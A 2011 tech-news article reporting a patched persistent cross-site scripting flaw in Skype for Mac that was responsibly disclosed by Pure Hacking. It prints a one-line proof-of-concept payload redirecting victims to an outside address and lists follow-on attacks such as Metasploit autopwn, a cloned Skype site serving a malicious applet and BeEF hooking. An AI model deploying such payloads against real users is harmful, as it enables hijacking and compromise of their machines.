Home Business IT Security Mac Skype hack exposed
×

Warning

JUser: :_load: Unable to load user with ID: 3018

Mac Skype hack exposed

  • 26 May 2011
  • Written by 
  • Published in Security

Now that a patch is available, the organisation that found the Mac Skype vulnerability is openly discussing the issue.  We recommend users get the update quickly.

Recently, the team at Pure Hacking discovered a bug in the current Mac version of Skype.  In the interests of ethical disclosure, they reported the bug to Skype in detail and announced to the world only that they had discovered an issue.

Skype has now released an updated version with the issue addressed.  With that version now widely available, Pure Hacking has decided to discuss the issue in detail.

The bug is based around a persistent XSS (cross-site scripting) attack which would allow an attacker to redirect a victim's PC to any website of the attacker's choosing (which will almost certainly contain some kind of anti-social software!).

According to the statement by Gordon Maddern of Pure Hacking, It is caused by Skype failing to sanitize a message before the client renders the message. It is persistant because it is stored in the users chat history and the payload is re-executed everytime the contact is clicked. It requires no user interation and can be triggered just by sending a message. As far as we could tell there was no setting to prevent this. The following proof of concept demonstrates this:

http://www.example.com/?foo=">document.location='http://10.11.1.225';

The success of this attack is up to the attackers imagination. Some of the examples Pure Hacking tested were:

1) Using a browser exploit to execute shellcode
2) Using metasploits browser autopwn
3) Using SET to clone the skype.com website so the victim was redirected to what looked like the Skype website and running a malicious java applet
4) Using Beef to hook in a zombie
5) Using the the javascript attack API


If readers use Skype on a Mac and haven't yet downloaded the latest version, iTWire suggests they do so immediately.

LEARN NBN TRICKS AND TRAPS WITH FREE NBN SURVIVAL GUIDE

Did you know: Key business communication services may not work on the NBN?

Would your office survive without a phone, fax or email?

Avoid disruption and despair for your business.

Learn the NBN tricks and traps with your FREE 10-page NBN Business Survival Guide

The NBN Business Survival Guide answers your key questions:

· When can I get NBN?
· Will my business phones work?
· Will fax & EFTPOS be affected?
· How much will NBN cost?
· When should I start preparing?

DOWNLOAD NOW!